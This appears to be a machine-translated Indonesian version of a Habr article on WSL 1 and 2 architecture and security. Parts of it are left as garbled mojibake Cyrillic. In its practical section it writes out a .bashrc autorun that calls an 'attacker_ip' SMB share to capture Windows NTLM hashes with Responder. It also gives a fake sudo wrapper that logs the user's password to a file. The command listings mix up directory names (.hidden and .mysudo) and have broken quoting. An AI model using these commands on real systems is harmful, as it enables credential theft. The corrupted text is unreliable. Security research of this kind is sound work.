Halo, habr! OTUS meluncurkan aliran kursus baru pada bulan Oktober
Pada tahun 2016, Microsoft memperkenalkan teknologi WSL baru kepada komunitas TI (WIndows Subsistem untuk Linux), yang di masa depan memungkinkan untuk menyatukan pesaing yang sebelumnya tidak dapat didamaikan yang berjuang untuk popularitas di kalangan pengguna OS biasa dan tingkat lanjut: Windows dan Linux. Teknologi ini memungkinkan penggunaan alat OS Linux di lingkungan Windows tanpa perlu menjalankan Linux, misalnya menggunakan Multi-boot. Di Habr Anda dapat menemukan banyak artikel yang menjelaskan manfaat menggunakan WSL. Namun, sayangnya, pada saat artikel ini dibuat, tidak ada penelitian tentang keamanan simbiosis sistem operasi yang ditemukan pada sumber ini. Posting ini akan menjadi upaya untuk memperbaikinya. Artikel ini akan membahas fitur arsitektur WSL 1 dan 2 dan membahas beberapa contoh serangan terhadap sistem yang menggunakan teknologi ini. Artikel ini dibagi menjadi 2 bagian. Yang pertama akan memberikan metode serangan teoritis utama dari Linux dan Windows. Artikel kedua akan mencakup pengaturan lingkungan pengujian dan reproduksi serangan.
WSL 1: fitur arsitektur
Untuk memahami masalah keamanan WSL secara paling akurat, perlu untuk menentukan nuansa utama yang terkait dengan implementasi subsistem. Salah satu tugas utama pengguna yang diselesaikan oleh WSL adalah kemampuan untuk bekerja melalui terminal Linux pada host yang menjalankan OS Windows. Selain itu, kompatibilitas yang ditawarkan sangat asli sehingga Linux executable (ELF) dapat dijalankan langsung di sistem Windows. Untuk mencapai tujuan ini, subsistem khusus dibuat di Windows 10 yang memungkinkan Anda menjalankan aplikasi Linux menggunakan serangkaian panggilan sistem tertentu - oleh karena itu, upaya dilakukan untuk memetakan sekumpulan syscall Linux di Windows. Hal ini diterapkan secara fisik dengan menambahkan driver baru dan format proses baru. Secara visual arsitekturnya terlihat seperti ini:
Faktanya, interaksi dengan sistem operasi Linux diatur melalui beberapa modul kernel dan jenis proses khusus - pico. Dari diagram di atas, Anda dapat melihat bahwa proses yang berjalan pada instance Linux pada host harus asli dan harus menggunakan sumber daya yang sama dengan aplikasi Windows biasa. Tapi bagaimana cara mencapainya? Dalam proyek
Perhatikan bahwa abstraksi yang diusulkan memungkinkan untuk tidak fokus pada sistem operasi (khususnya, Windows), di mana proses OS lain diharapkan untuk diluncurkan, dan menyarankan pendekatan umum.
Dengan demikian, aplikasi apa pun di dalam proses pico dapat berjalan tanpa memperhatikan kernel Windows:
- Masalah kompatibilitas dan terjemahan panggilan sistem harus diselesaikan oleh penyedia khusus;
- Kontrol akses harus dilakukan melalui Monitor Keamanan. Monitor terletak di kernel dan oleh karena itu Windows memerlukan upgrade berupa driver baru yang dapat bertindak sebagai penyedia untuk proses tersebut. Prototipe proses pico disajikan secara skematis di bawah ini:
Karena sistem file Linux menggunakan nama file dan direktori yang peka huruf besar/kecil, 2 jenis sistem file ditambahkan ke Windows untuk bekerja dengan WSL - VolFS dan DriveFS. VolFS merupakan implementasi dari sistem file Linux, DriveFS adalah sistem file yang bekerja sesuai aturan Windows, namun memiliki kemampuan untuk memilih sensitivitas huruf besar-kecil.
WSL 2
WSL 1 memiliki sejumlah keterbatasan yang tidak memungkinkannya digunakan untuk menyelesaikan berbagai tugas secara maksimal: misalnya, tidak memiliki kemampuan untuk menjalankan aplikasi Linux 32-bit, dan tidak mungkin menggunakan driver perangkat. Oleh karena itu, pada tahun 2020, WSL 2 dirilis, yang mengubah pendekatan dalam membangun subsistem. WSL 2 adalah mesin virtual yang dioptimalkan yang cocok dengan karakteristik konsumsi sumber daya WSL 1. Sekarang, tergantung pada masalah yang dipecahkan oleh pengguna OS Windows, Anda dapat memilih versi subsistem Linux yang diperlukan. Untuk mengurangi kemungkinan kerentanan, WSL 2 diimplementasikan berdasarkan Hyper-V di Windows 10. Dalam bentuk ini, Windows memiliki kemampuan untuk menjalankan kernel sistem operasi Linux secara terpisah. Perlu diingat bahwa WSL versi 1 diperkenalkan sebagai fitur beta yang seharusnya menunjukkan arah pengembangan Windows di area ini, sehingga transisi ke Hyper-V tidak dapat dihindari. Arsitektur akhirnya terlihat seperti ini:
Dalam versi ini, kernel Windows dan Linux memiliki sumber dayanya sendiri dan persimpangan hanya ada di sistem file, tetapi persimpangan ini tidak lengkap. Interaksi antar sistem file dilakukan melalui wrapper client-server yang bekerja menggunakan protokol 9P.
Saat ini Microsoft menyediakan kemampuan untuk beralih antara WSL 1 dan WSL 2. Kedua versi tersedia untuk digunakan.
Keamanan WSL
Saat ini, ada beberapa karya yang menjelaskan beberapa pendekatan untuk menggunakan alat OS yang sah untuk menyerang komunikasi antar subsistem. Kami akan menggunakan skrip mereka untuk memeriksa relevansi serangan pada saat penulisan artikel ini. Daftar umum serangan dan skenario:
1. Implementasi sistem file: hak akses, ketersediaan direktori bersama/mekanisme pertukaran data.
Penelitian dilakukan untuk mengetahui pelanggaran aturan akses dari Linux FS->Windows FS, Windows FS->Linux FS. Penelitian telah menunjukkan kemampuan untuk memodifikasi file tertentu dalam OS target. Upaya juga dilakukan untuk mengganti, membuat duplikat, dan menghapus sebagian sistem file.
Skenario:
- A. Serangan dari sistem operasi Windows - modifikasi file dari direktori /etc OS Linux.
- B. Serangan dari sistem operasi Linux - modifikasi file di direktori:
C:Windows
,C:Program Files
,C:Users<User>
2. Implementasi tumpukan jaringan.
Penelitian dilakukan dengan menggunakan contoh serangan dari sistem operasi Linux terhadap Windows. Fitur tumpukan jaringan yang digunakan, yaitu mekanisme otentikasi pada berbagai sumber daya.
Skenario:
- Membuka akses ke port yang ditempati pada sistem Windows
- Membuka port tanpa hak yang sesuai
- Menjalankan reverse shell menggunakan file elf di sistem operasi Windows.
3. Menyembunyikan peluncuran proses perangkat lunak berbahaya menggunakan subsistem WSL.
Penelitian ini didasarkan pada fakta sederhana - subsistem keamanan tidak dapat mencegat peristiwa di kernel lain yang bekerja menggunakan penyedia sah dari sistem operasi dalam kasus WSL 1. Dalam kasus WSL 2, tidak ada cara untuk melihat peristiwa yang terjadi di kernel terpisah dalam mesin virtual ringan.
Skenario:
1) Luncurkan aplikasi untuk akses jarak jauh ke sistem dan lihat peristiwa yang dicatat.
Eksperimen WSL 1: intersepsi hash (Windows)
Akhirnya kita sampai pada bagian praktis. Pertama, Anda perlu menyiapkan lingkungan pengujian. Semua percobaan akan dilakukan di bangku dengan instalasi Windows 10 2004. Gambar Ubuntu 18.04 dipilih sebagai gambar sistem operasi untuk WSL. Gambar dipilih secara acak, dan gambar lainnya akan berfungsi sama. Perintah untuk mendirikan stand:
Anda harus meluncurkannya terlebih dahulu powershell.exe
sebagai administrator.
Untuk WSL 1 Anda perlu menjalankan perintah:
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #ΠΠΊΠ»ΡΡΠΈΡΡ ΡΡΠ½ΠΊΡΠΈΡ WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing #ΠΠ°Π³ΡΡΠ·ΠΈΡΡ ΠΎΠ±ΡΠ°Π· Linux ΠΈΠ· ΠΌΠ°Π³Π°Π·ΠΈΠ½Π° Microsoft
Ubuntu.appx install βroot #Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΠΌ ΠΎΠ±ΡΠ°Π·
ΠΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΏΡΠΈΠ΄Π΅ΡΡΡ ΠΏΡΠΎΠΊΠ»ΠΈΠΊΠ°ΡΡ ΠΏΡΠΎΡΠ΅ΡΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ ΠΈ ΡΠΎΠ·Π΄Π°ΡΡ Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ, ΠΊΠΎΡΠΎΡΡΠΉ Π±ΡΠ΄Π΅Ρ ΠΈΠΌΠ΅ΡΡ ΠΌΠ΅Π½ΡΡΠ΅ ΠΏΡΠ°Π², ΡΠ΅ΠΌ root. ΠΠ»Ρ Π½Π°ΡΠΈΡ
ΡΠ΅ΡΡΠΎΠ² ΡΡΠΎ Π±ΡΠ΄Π΅Ρ ΠΎΠ±ΡΡΠ½ΡΠΉ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ sam.
Restart-Computer #ΠΠ΅ΡΠ΅Π·Π°Π³ΡΡΠ·ΠΈΠΌ
Setelah me-reboot stand, Anda dapat memanggil perintah bash. Jika semuanya berfungsi dengan benar, Anda akan melihat keluaran seperti ini di konsol Windows:
Kami akan menggunakan distribusi Kali Linux sebagai mesin penyerang; semua mesin harus berada di jaringan lokal yang sama.
Anggaplah kita memiliki akses tanpa hak istimewa ke WSL di mesin Windows. Mari kita coba menyerang sistem operasi Linux dengan memanggil perintah dari Linux. Untuk mengimplementasikan serangan tersebut, kami akan menggunakan teknik autorun sederhana - kami akan menambahkan skrip kami untuk dieksekusi di lingkungan Linux. Untuk melakukan ini, Anda perlu mengubah file .bashrc
.
Pada mesin dengan WSL kami menjalankan:
1. bash
2. ΠΠ΅ΡΠ΅Ρ
ΠΎΠ΄ΠΈΠΌ Π² Π΄ΠΎΠΌΠ°ΡΠ½ΡΡ Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ: cd /home/sam/
2. echo Β«/home/sam/.attack.shΒ» >> .bashrc
3. echo Β«icalcs.exe Β» \\\\attacker_ip\\shareName\\Β» > /dev/null 2>&1Β» >> .attack.sh
4. chmod u+x .attack.sh
5. exit
Pada mesin Kali Linux kami menjalankan:
1. Responder -I eth0 -rdvw
Di mesin Windows, mari luncurkan bash.
Kita tunggu hasilnya di mesin Kali Linux:
Jadi, kami memperoleh hash pengguna Windows melalui subsistem WSL dengan menjalankan perintah pada sistem Linux.
Eksperimen WSL 1: mendapatkan kata sandi pengguna (OS Linux)
Mari kita lakukan satu percobaan lagi. Selama pemeriksaan ini kami akan menambahkan ke file .bashrc
beberapa perintah untuk mendapatkan kata sandi pengguna sistem operasi Linux.
Mari luncurkan bash dan masukkan perintah:
1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txtΒ» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit
Agar berhasil menyelesaikan serangan, pengguna Sam perlu memanggil sudo di terminal Linux. Setelah ini, kata sandi pengguna OS Linux akan ada di file pass.txt
:
Penerapan serangan tersebut hanya diberikan sebagai informasi teoritis saja.
Bagian selanjutnya dari artikel ini akan menjelaskan implementasi protokol 9P, mempertimbangkan pembuatan pemindai untuk protokol ini, dan juga melakukan serangan dengan menggunakannya.
Daftar literatur yang digunakan
Baca selengkapnya
Sumber: www.habr.com